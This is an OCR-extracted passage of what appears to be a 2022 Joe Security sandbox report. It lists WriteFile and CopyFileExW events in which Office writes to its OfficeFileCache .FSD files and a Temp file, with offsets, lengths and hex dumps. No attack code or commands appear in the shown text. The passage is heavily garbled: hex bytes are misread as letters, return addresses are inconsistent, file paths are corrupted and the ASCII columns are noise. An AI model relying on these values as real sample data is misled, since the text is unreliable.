00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00

40 fd 6b 17 fd 14 1f 26 40 fd
fd 79 fd fd 86 3e 0f 00 00
00 00 00 00 00 fd 5e 71
fd d0 4a fd 7e fd fd 03 fd
37 4d

k&@y>"I~7M

success or wait

Count Source Address

3 TFEEE917A59
1 7TFEEE917A59
1 TFEEE917A59
1 7TFEEE917A59
1 7TFEEE917A59
1 7TFEEE917A59

Symbol

WriteFile

WriteFile

WriteFile

WriteFile

WriteFile

WriteFile
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File Path

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSD-{950185C1-D03B-43EE-
9B9C-DOCDFF898355}.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSD-{950185C1-D03B-43EE-
9B9C-DOCDFF898355}.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSD-{950185C1-D03B-43EE-
9B9C-DOCDFF898355}.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSD-{950185C1-D03B-43EE-
9B9C-DOCDFF898355}.FSD

Copyright Joe Security LLC 2022

Offset

17592

18144

18384

18944

Length Value

114

70

555

506

ea 69 49 01 Oc 56 Oc 4d
23 fd fd fd Ob 20 47 fd 41
68 fd fd 5b fd 90 fd 50 2f
3d fd 41 fd fd fd 38 fd fd
fd 03 00 00 00 00 00 00
00 0Ob fd 00 fd 2a Oc 6¢
33 76 fd fd fd 48 fd 03 fd
4a 6e fd fd 63 03 19 03
00 75 fd 00 fd 40 03 Oc 4f
2b fd a3 fd 75 43 fd 23 fd
fd 28 14 fd 76 00 19 01
00 00 00 00 00 00 00 50
38 00 1c 79 05

ea 69 49 01 Oc 56 34 4d
23 fd fd fd Ob 20 47 fd 41
68 fd fd 5b fd 90 fd 50 2f
3d fd 41 fd fd fd 38 fd fd
fd 0a 00 00 00 00 00 00
00 07 58 22 Oc fd fd fd fd
2e fd fd 48 fd 50 31 fd 38
4c 65 05

3e 03 00 00 54 07 00 00
00 fd 54 27 2c fd fd 26 fd
70 7e 05 41 fd fd 33 07 fd
fd fd 29 00 72 03 00 00
58 2b 29 3c 7e 2f fd f0 31
49 fd fd 70 61 fd 1a 1a fd
01 00 00 00 fd 54 fd Oc fd
fd 30 3b 17 07 2e 4f fd fd
fd fd Ob fd 71 fd 09 Oc 4d
23 fd fd fd Ob 20 47 fd 41
68 fd fd 5b 14 4d 23 fd fd
fd Ob 20 47 fd 41 68 fd fd
5b 1c 4d 23 fd fd fd Ob 20
47 fd 41 68 fd fd 5b 24 4d
23 fd fd fd Ob 20 47 fd 41
68 fd fd 5b 7a 03 00 00
58 2b 29 3c 7e 2f fd f0 31
49 fd fd 70 61 fd 1a 1a fd
01 00 00 00 fd 54 fd Oc
49 fd 01 75 74 fd 4d fd fd
50 fd b2 54 fd fd 07 Oc fd
fd 26 fd 70 7e 05 41 fd fd
3307 fd fd fd 14 fd fd 26
fd 70 7e 05 41 fd fd 33 07
fd fd fd 1c fd fd 26 fd 70
7e 05 41 fd fd 33 07 fd fd
fd 7a 03 00 00 fd 54 27

3e 03 00 00 54 07 00 00
00 fd 54 fd Oc fd fd 30 3b
17 07 2e 4f fd fd fd fd Ob
fd 71 fd 09 Oc 4d 23 fd fd
fd Ob 20 47 fd 41 68 fd fd
5b 14 4d 23 fd fd fd Ob 20
47 fd 41 68 fd fd 5b 1c 4d
23 fd fd fd Ob 20 47 fd 41
68 fd fd 5b 24 4d 23 fd fd
fd Ob 20 47 fd 41 68 fd fd
5b 7a 03 00 00 58 2b 29
3c 7e 2f fd f0 31 49 fd fd
70 61 fd 1a 1a fd 01 00
00 00 fd 54 fd Oc 49 fd 01
75 74 fd 4d fd fd 50 fd b2
54 fd fd 07 Oc fd fd 26 fd
70 7e 05 41 fd fd 33 07 fd
fd fd 14 fd fd 26 fd 70 7e
05 41 fd fd 33 07 fd fd fd
1cfd fd 26 fd 70 7e 05 41
fd fd 33 07 fd fd fd 7a 03
00 00 fd 54 27 Oc fd fd 09
fd fd 2e 4d 4c fd 5f 03 73
fd 5d fd 79 00 6a 03 00
00 58 53 51 fd fd 84 fd fd
0d 4a fd fd 52 Oc 77 fd 70
7301 00 00 00 fd 6f 17

Ascii Completion Count Source Address

iIVM#
GAh[P/=A8*I3vHIncu@0O
+uC#(vP8y

success or wait 4 7FEEE917A59

iIVAM#
GAh[P/=A8X".HP18e

success or wait 2 7FEEE917A59

STT',&p~A3)rX+) success or wait 1 TFEEE917A59
<~/1lpaT0;.0qM#

GAh[M# GAh[M#

GAh[$M# GAh[zX+)

<~/1lpaTIutMPT&p~A3&

p~A3&p~A3zT'

>TT0;.0gM# GAh[M# success or wait 1 7FEEE917A59
GAh[M# GAh[$M#

GAh[zX+)

<~/1lpaTlutMPT&p~A3

&p~A3&p~A3zT" .ML_slyj

XSQJIRwpso

Symbol

WriteFile

WriteFile

WriteFile

WriteFile
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File Path

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile

Cache\FSD-{950185C1-D03B-43EE-

9B9C-DOCDFF898355}.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile

Cache\FSD-{950185C1-D03B-43EE-

9B9C-DOCDFF898355}.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile

Cache\FSD-{950185C1-D03B-43EE-

9B9C-DOCDFF898355}.FSD

Copyright Joe Security LLC 2022

Offset

3202

16640

Length Value

472 05 fd 00 fd fd 08 Of 4d 23
fd fd fd Ob 20 47 fd 41 68
fd fd 5b 01 00 00 00 01
06 00 14 00 00 00 00 00
00 00 fd fd fd fd fd fd fd fd
00 00 00 00 05 fd 00 fd fd
08 11 4d 23 fd fd fd Ob 20
47 fd 41 68 fd fd 5b 02 00
00 00 01 06 00 15 00 00
00 00 00 00 00 fd fd fd fd
fd fd fd fd 00 00 00 00 05
fd 00 fd fd 08 15 4d 23 fd
fd fd Ob 20 47 fd 41 68 fd
fd 5b 03 00 00 00 01 01
00 16 00 00 00 00 00 00
00 fd fd fd fd fd fd fd fd 00
00 00 00 05 fd 00 fd fd 08
10 4d 23 fd fd fd Ob 20 47
fd 41 68 fd fd 5b 04 00 00
00010100 17 00 00 00
00 00 00 00 fd fd fd fd fd
fd fd fd 00 00 00 00 05 fd
00 fd fd 08 09 4d 23 fd fd
fd Ob 20 47 fd 41 68 fd fd
5b 06 00 00 00 01 02 00
18 00 00 00 00 00 00 00
fd fd fd fd fd fd fd fd 00 00
00 00 05 fd 00 fd fd

32 11 00 00 00 1a 00 00 00
12 00 00 00 08 00 00 00
13 00 00 00 06 00 00 00
01 00 00 00 fd 5f 5¢ fd

512 Oc fd 91 fd 1b fd 4d fd 65
46 79 fd fd fd 7a fd 5d fd
fd 71 fd fd 4c fd fd fd fd Oc
31 29 fd 53 2c fd fd fd 58
fd 46 fd fd 14 46 61 f5 71
05 00 00 00 05 00 00 00
05 00 00 00 05 00 00 00
fd fd fd fd fd fd fd fd 00 00
0000 fd 6b 17 fd 14 1f 26
40 fd fd 79 fd fd 86 3e Of
00 00 00 00 00 00 00 fd
5e 71 fd d0 4a fd 7e fd fd
03 fd 37 4d 00 53 00 00
00 00 00 00 00 04 00 00
02 00 00 00 fd fd fd fd fd
fd fd fd 00 00 00 00 00 00
00 00 00 00 00 00 00 57
00 00 00 00 00 00 00 02
00 00 00 00 00 00 00 04
00 00 00 00 02 00 00 00
00 00 04 00 00 00 fd 78
fd Of fd 78 fd Of fd 78 fd Of
fd 78 fd Of 2a 00 00 00 00
00 00 00 fd 14 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00

Ascii Completion

M# GAh[M# GAh[M# success or wait

GAR[M# GAR[M# GAR[

\ success or wait

MeFyz]qL1)S,XFFagk&@ success or wait
y>NI~TMSWxXXXX*

Count Source Address

3 TFEEE917A59
1 7TFEEE917A59
1 7TFEEE917A59

Symbol

WriteFile

WriteFile

WriteFile
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File Path

C:\Users\user\AppData\Local\Temp\
{81AEC75A-0A9E-4A32-B5F6-54
1A0FA08477}

C:\Users\user\AppData\Local\Temp\
{81AEC75A-0A9E-4A32-B5F6-54
1A0FA08477}

C:\Users\user\AppData\Local\Temp\
{81AEC75A-0A9E-4A32-B5F6-54
1A0FA08477}

Copyright Joe Security LLC 2022

Offset

0

76

512

Length Value

512

40

65024

Oc fd 91 fd 1b fd 4d fd 65

46 79 fd fd fd 7a fd fd fd fd MS,XFFagN&MUH/8L.=K

04 1e 20 47 fd Oa 49 2d
fd fd 09 4d 53 2c fd fd fd
58 fd 46 fd fd 14 46 61 f5
7105 00 00 00 05 00 00
00 05 00 00 00 05 00 00
00 fd fd fd fd fd fd fd fd 00
00 00 00 fd fd fd fd 4e 26
fd 4d fd 55 fd 48 Oe fd fd
fd 05 00 00 00 00 00 00
00 fd 2f 13 fd 38 07 fd 4c
fd 2e 3d 4b 21 fd Oa fd 00
06 00 00 00 00 00 00 00
04 00 00 02 00 00 00 fd
fd fd fd fd fd fd fd 00 00
00 00 00 00 00 00 00 00
00 00 00 1a 00 00 00 00
00 00 00 02 00 00 00 00
00 00 00 04 00 00 00 00
02 00 00 00 00 00 00 00
00 00 fd 78 fd Of fd 78 fd
Of fd 78 fd Of fd 78 fd Of
01 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00

fd fd fd fd 4e 26 fd 4d fd
55 fd 48 Oe fd fd fd 05 00
00 00 00 00 00 00 fd 2f
13 fd 38 07 fd 4c fd 2e 3d
4b 21 fd Oa fd

fd fd fd fd fd 7a 56 fd 10
00 00 00 00 00 00 00 01
20 00 fd 40 01 00 02 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00

Ascii
MeFyz Gl-

IXXXX

N&MUH/8L.=K!

zvV @

Completion

success or wait

success or wait

success or wait

Count Source Address

1 TFEEE917A59
1 7TFEEE917A59
2 7TFEEE917A59

Symbol

WriteFile

WriteFile

WriteFile
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File Path Offset

C:\Users\user\AppData\Local\Temp\ 512
{81AEC75A-0A9E-4A32-B5F6-54
1A0FA08477}

C:\Users\user\AppData\Local\Temp\ 1536
{81AEC75A-0A9E-4A32-B5F6-54
1A0FA08477}

C:\Users\user\AppData\Local\Temp\ 0
{81AEC75A-0A9E-4A32-B5F6-54
1A0FA08477}

C:\Users\user\AppData\Local\Temp\ 76
{81AEC75A-0A9E-4A32-B5F6-54
1A0FA08477}

Copyright Joe Security LLC 2022

Length Value

1024

16

512

40

fd fd fd fd fd 7a 56 fd 10
00 00 00 00 00 00 00 01
20 00 fd 40 01 00 02 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00

10 00 00 00 00 00 00 00
01 00 00 00 d5 02 50

Oc fd 91 fd 1b fd 4d fd 65

46 79 fd fd fd 7a fd fd fd fd MS,XFFagN&MUH/8L.=K

04 1e 20 47 fd Oa 49 2d
fd fd 09 4d 53 2c fd fd fd
58 fd 46 fd fd 14 46 61 5
71 05 00 00 00 05 00 00
00 05 00 00 00 05 00 00
00 fd fd fd fd fd fd fd fd 00
00 00 00 fd fd fd fd 4e 26
fd 4d fd 55 fd 48 Oe fd fd
fd 05 00 00 00 00 00 00
00 fd 2f 13 fd 38 07 fd 4c
fd 2e 3d 4b 21 fd Oa fd 00
06 00 00 00 00 00 00 00
04 00 00 02 00 00 00 fd
fd fd fd fd fd fd fd 00 00
00 00 00 00 00 00 00 00
00 00 00 1a 00 00 00 00
00 00 00 02 00 00 00 00
00 00 00 04 00 00 00 00
02 00 00 00 00 00 00 00
00 00 fd 78 fd 0Of fd 78 fd
0f fd 78 fd Of fd 78 fd Of
01 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00

fd fd fd fd 4e 26 fd 4d fd
55 fd 48 Oe fd fd fd 05 00
00 00 00 00 00 00 fd 2f
13 fd 38 07 fd 4c fd 2e 3d
4b 21 fd Oa fd

Ascii

zv @

MeFyz GI-

IXXXX

N&MUH/8L.=K!

Completion

success or wait

success or wait

success or wait

success or wait

Count Source Address

1 TFEEE917A59
1 7TFEEE917A59
1 7TFEEE917A59
1 7TFEEE917A59

Symbol

WriteFile

WriteFile

WriteFile

WriteFile
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File Path Offset

C:\Users\user\AppData\Local\Temp\ 2560
{81AEC75A-0A9E-4A32-B5F6-54
1A0FA08477}

C:\Users\user\AppData\Local\Temp\ 2576
{81AEC75A-0A9E-4A32-B5F6-54
1A0FA08477}

C:\Users\user\AppData\Local\Temp\ 1552
{81AEC75A-0A9E-4A32-B5F6-54
1A0FA08477}

C:\Users\user\AppData\Local\Temp\ 0
{81AEC75A-0A9E-4A32-B5F6-54
1A0FA08477}

Copyright Joe Security LLC 2022

Length Value

4096 fd fd fd fd fd 7a 56 fd 11
00 00 00 00 00 00 00 03
10 fd fd 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00

00 00 00 00 00 00

4 03 10 fd fd

24 10 00 00 00 01 00 00 00
11 00 00 00 01 00 00 00

01 00 00 00 68 fd fd 28

512 Oc fd 91 fd 1b fd 4d fd 65 MeFyz GI-
46 79 fd fd fd 7a fd fd fd fd MS,XFFagN&MUH/8L.=K

04 1e 20 47 fd Oa 49 2d
fd fd 09 4d 53 2c fd fd fd
58 fd 46 fd fd 14 46 61 f5
71 05 00 00 00 05 00 00
00 05 00 00 00 05 00 00
00 fd fd fd fd fd fd fd fd 00
00 00 00 fd fd fd fd 4e 26
fd 4d fd 55 fd 48 Oe fd fd
fd 05 00 00 00 00 00 00
00 fd 2f 13 fd 38 07 fd 4c
fd 2e 3d 4b 21 fd Oa fd 00
06 00 00 00 00 00 00 00
04 00 00 02 00 00 00 fd
fd fd fd fd fd fd fd 00 00
00 00 00 00 00 00 00 00
00 00 00 1a 00 00 00 00
00 00 00 02 00 00 00 00
00 00 00 04 00 00 00 00
02 00 00 00 00 00 00 00
00 00 fd 78 fd Of fd 78 fd
0f fd 78 fd Of fd 78 fd Of
01 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00

Ascii

zVvV

h(

IXXXX

Completion

success or wait

success or wait

success or wait

success or wait

Count Source Address

1 TFEEE917A59
2 7TFEEE917A59
1 7TFEEE917A59
1 7TFEEE917A59

Symbol

WriteFile

WriteFile

WriteFile

WriteFile
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File Path

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
NFSD-CNRY.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
\FSD-CNRY.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
\FSD-CNRY.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
\FSD-CNRY.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
nFSD-CNRY.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
NFSD-CNRY.FSD

Copyright Joe Security LLC 2022

Offset

0

76

6656

6712

2580

1576

Length Value

65536

40

G

4096

50

32

Oc fd 91 fd 1b fd 4d fd 65

46 79 fd fd fd 7a fd fd fd fd 10B/8L.=KIAEXxxx

04 1e 20 47 fd Oa 49 2d
fd fd 09 4d 53 2c fd fd fd
58 fd 46 fd fd 14 46 61 f5
7105 00 00 00 05 00 00
00 05 00 00 00 05 00 00
00 fd fd fd fd fd fd fd fd 00
00 00 00 75 53 fd 00 2d
fd 49 fd fd 6f 42 fd a3 Ob
00 00 00 00 00 00 00 fd
2f 13 fd 38 07 fd 4c fd 2e
3d 4b 21 fd Oa fd 00 41
00 00 00 00 00 00 00 04
00 00 02 00 00 00 fd fd fd
fd fd fd fd fd 00 00 00 00
00 00 00 00 00 00 00 00
00 45 00 00 00 00 00 00
00 02 00 00 00 00 00 00
00 04 00 00 00 00 02 00
00 00 00 00 04 00 00 00
fd 78 fd Of fd 78 fd Of fd
78 fd Of fd 78 fd Of 15 00
00 00 00 00 00 00 fd 06
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00

75 53 fd 00 2d fd 49 fd fd
6f 42 fd a3 Ob 00 00 00
00 00 00 00 fd 2f 13 fd 38
07 fd 4c fd 2e 3d 4b 21 fd
Oa fd

fd 36 27 fd fd 17 41 fd fd
7b 67 06 fd 13 0d 03 00
02 00 fd 00 40 20 fd b6 fd
fd 6¢ 36 49 fd fd 00 70 25
fd 38 fd 0a 03 00 00 3e
03 00 00 fd 01 49

fd fd fd fd fd 7a 56 fd 12
00 00 00 00 00 00 00 03
10 fd fd 06 00 fd fd 10 fd
42 fd 61 fd 4c fd 2d fd 40
49 fd 05 01 00 00 00 02
00 00 00 00 00 00 00 fd
3b 04 02 fd 65 66 48 fd fd
6b 06 13 58 fd 2c 01 00
00 00 06 00 fd 5f fd 22 fd
68 fd 39 40 fd 54 fd 1b 59
61 62 70 01 00 00 00 05
00 00 00 00 00 00 00 fd
3b 04 02 fd 65 66 48 fd fd
6b 06 13 58 fd 2c 03 00
00 00 06 00 fd fd 66 fd 1b
fd fd 4a 47 fd 1b 49 fd fd
72 fd fd 01 00 00 00 08
00 00 00 00 00 00 00 fd
3b 04 02 fd 65 66 48 fd fd
6b 06 13 58 fd 2c 03 00
00 00 06 00 fd fd fd 4b Oe
0Ob fd 23 4c fd 5c 08 5b
5e 79 67 fd 01 00 00 00
10 00 00 00 00 00 00 00
fd 3b 04 02 fd 65 66 48 fd
fd 6b 06 13 58 fd 2c 03
00 00 00 06 00 fd fd 03 fd
fd 5e fd 36 49 fd 1a fd 18
43 7c fd 72 01 00 00 00
14 00 00

05 fd 00 fd 40 03 07 fd 10
fd 42 fd 61 fd 4c fd 2d fd
40 49 fd 05 01 00 00 00
01 05 00 01 00 00 00 00
00 00 00 fd fd fd fd fd fd
fd fd 00 00 00 00

10 00 00 00 02 00 00 00
11 00 00 00 02 00 00 00
12 00 00 00 02 00 00 00
01 00 00 00 fd 3a 61 fd

Ascii Completion Count Source Address
MeFyz GI-MS, XFFaqS- success or wait 2 7FEEE95B1C3
S-loB/8L.=K! success or wait 1 7FEEE917A59
6A{g@ 161p%8>1 success or wait 1 7TFEEE917A59
zVBalL- success or wait 1 7FEEE917A59
@l;efHkX,_"h9@TYabp;e

fHKX,fIGIr;efHKX, K#L\

[*yg;efHkX,"6IC|r

@BaL-@I success or wait 3 TFEEE917A59

:a success or wait 1 TFEEE917A59

Symbol

CopyFileExW

WriteFile

WriteFile

WriteFile

WriteFile

WriteFile
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File Path

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
NFSD-CNRY.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
\FSD-CNRY.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
\FSD-CNRY.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
NFSD-CNRY.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
NFSD-CNRY.FSD

Copyright Joe Security LLC 2022

Offset

0

76

10808

14904

10824

Length Value

512

40

4096

122

56

Oc fd 91 fd 1b fd 4d fd 65
46 79 fd fd fd 7a fd fd fd fd
04 1e 20 47 fd Oa 49 2d
fd fd 09 4d 53 2c fd fd fd
58 fd 46 fd fd 14 46 61 f5
7105 00 00 00 05 00 00
00 05 00 00 00 05 00 00
00 fd fd fd fd fd fd fd fd 00
00 00 00 75 53 fd 00 2d
fd 49 fd fd 6f 42 fd a3 Ob
00 00 00 00 00 00 00 fd
2f 13 fd 38 07 fd 4c fd 2e
3d 4b 21 fd Oa fd 00 41
00 00 00 00 00 00 00 04
00 00 02 00 00 00 fd fd fd
fd fd fd fd fd 00 00 00 00
00 00 00 00 00 00 00 00
00 45 00 00 00 00 00 00
00 02 00 00 00 00 00 00
00 04 00 00 00 00 02 00
00 00 00 00 04 00 00 00
fd 78 fd Of fd 78 fd Of fd
78 fd Of fd 78 fd Of 15 00
00 00 00 00 00 00 fd 06
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00

75 53 fd 00 2d fd 49 fd fd
6f 42 fd a3 Ob 00 00 00
00 00 00 00 fd 2f 13 fd 38
07 fd 4c fd 2e 3d 4b 21 fd
Oa fd

fd fd fd fd fd 7a 56 fd 13
00 00 00 00 00 00 00 03
10 fd fd 06 00 fd fd 3b fd
Ob 7f 55 fd 4e fd fd 22 6f
fd 54 5b fd 01 00 00 00
06 00 00 00 00 00 00 00
30 fd fd 4d fd 4d 43 4f fd
59 fd 1c fd 70 06 65 01
00 00 00 06 00 fd fd 07 3f
fd Oa fd fd 49 fd 65 2e 7c
fd 29 fd 1f 01 00 00 00 11
00 00 00 00 00 00 00 fd
19 fd 02 1b fd 13 4e fd fd
7d 20 3d 4d fd 01 01 00
00 00 06 20 fd fd fd fd fd
5b 7a 43 fd 42 fd 2c fd Oe
09 4f 63 06 00 00 00 12
00 00 00 00 00 00 00 fd
fd 84 fd fd 0d 4a fd fd 52
Oc 77 fd 70 73 01 00 00
00 3b 55 fd 31 22 79 fd
41 fd 38 fd fd 07 81 1e 01
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00

ea 69 49 00 Oc 56 Oc fd
3b fd Ob 7f 55 fd 4e fd fd
22 6f fd 54 5b fd fd fd fd fd
77 fd fd 06 4c fd 74 fd 62
fd fd fd fd 01 00 00 00 00
00 00 00 05 60 20 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 38 66
14 fd fd 84 fd fd 0d 4a fd
fd 52 0c 77 fd 70 73 Oc fd
fd 84 fd fd 0d 4a fd fd 52
Oc 77 fd 70 73 Oc 3b 55
fd 31 22 79 fd 41 fd 38 fd
fd 07 81 1e 05

03 10 fd fd 06 00 fd fd 3b
fd Ob 7f 55 fd 4e fd fd 22
6f fd 54 5b fd 01 00 00 00
06 00 00 00 00 00 00 00
30 fd fd 4d fd 4d 43 4f fd
59 fd 1c fd 70 06 65 01
00 00 00

Ascii

MeFyz GI-MS,XFFaqS-
10B/8L.=KIAEXXXX

S-1oB/8L.=K!

ZV;UN"oT[OMMCOYpe?
le.)N} =M [
zCB,0cJRwps;U1"yA8

iIV;UN"0T[wLtb’
8fJRWpsJRWPS;U1"yAS

;UN"oT[OMMCOYpe

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

Count Source Address

1

1

1

3

4

TFEEE917A59

7TFEEE917A59

7TFEEE917A59

7TFEEE917A59

7TFEEE917A59

Symbol

WriteFile

WriteFile

WriteFile

WriteFile

WriteFile
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File Path

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
NFSD-CNRY.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
NFSD-CNRY.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
\FSD-CNRY.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
\FSD-CNRY.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
\FSD-CNRY.FSD

Copyright Joe Security LLC 2022

Offset

1608

0

76

15208

15720

Length

40

512

40

134

70

Value Ascii Completion
1000 000003000000 uwu success or wait
11 00 00 00 06 00 00 00

12 00 00 00 04 00 00 00

13 00 00 00 02 00 00 00

01000000 75 75 fd fd

Oc fd 91 fd 1b fd 4d fd 65 MeFyz GI-MS,XFFagS- success or wait
46 79 fd fd fd 7a fd fd fd fd 10B/8L.=KIAEXxxx
04 le 20 47 fd Oa 49 2d
fd fd 09 4d 53 2c fd fd fd
58 fd 46 fd fd 14 46 61 f5
71 05 00 00 00 05 00 00
00 05 00 00 00 05 00 00
00 fd fd fd fd fd fd fd fd 00
00 00 00 75 53 fd 00 2d
fd 49 fd fd 6f 42 fd a3 Ob
00 00 00 00 00 00 00 fd
2f 13 fd 38 07 fd 4c fd 2e
3d 4b 21 fd Oa fd 00 41
00 00 00 00 00 00 00 04
00 00 02 00 00 00 fd fd fd
fd fd fd fd fd 00 00 00 00
00 00 00 00 00 00 00 00
00 45 00 00 00 00 00 00
00 02 00 00 00 00 00 00
00 04 00 00 00 00 02 00
00 00 00 00 04 00 00 00
fd 78 fd Of fd 78 fd Of fd
78 fd Of fd 78 fd Of 15 00
00 00 00 00 00 00 fd 06
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00

7553 fd 00 2d fd 49 fd fd = S-loB/8L.=K! success or wait
6f 42 fd a3 Ob 00 00 00

00 00 00 00 fd 2f 13 fd 38

07 fd 4c fd 2e 3d 4b 21 fd

Oa fd

ea 69 49 00 Oc 56 Oc fd fd iIV[zCB,0c%JMo#3p27Y, success or wait
fd 5b 7a 43 fd 42 fd 2c fd  A9u +K%/9,'Ma6)X>y
Oe 09 4f 63 fd fd fd 18 fd

0Ob 25 02 4a fd 4d fd 6f fd

23 33 70 03 00 00 00 00

00 00 00 Ob fd 00 fd 32 fd

fd 37 05 59 fd 2c fd 41 fd

fd fd fd 7f fd 33 01 00 00

11 03 39 03 00 75 fd 00

fd 60 03 Oc fd 2b fd fd fd

13 08 4b fd 07 25 fd 2f fd

fd fd 00 39 01 00 00 00

00 00 00 00 10 00 00 00

2c¢ 27 fd 00 01 fd fd 4d fd

61 36 fd 29 58 3e fd 79

05

ea 694900 0c56 34 fd  ilV4[zCB,0c%JMo#3pX"  success or wait
fd fd 5b 7a 43 fd 42 fd 2c N} =M

fd Oe 09 4f 63 fd fd fd 18

fd Ob 25 02 4a fd 4d fd 6f

fd 23 33 70 0a 00 00 00

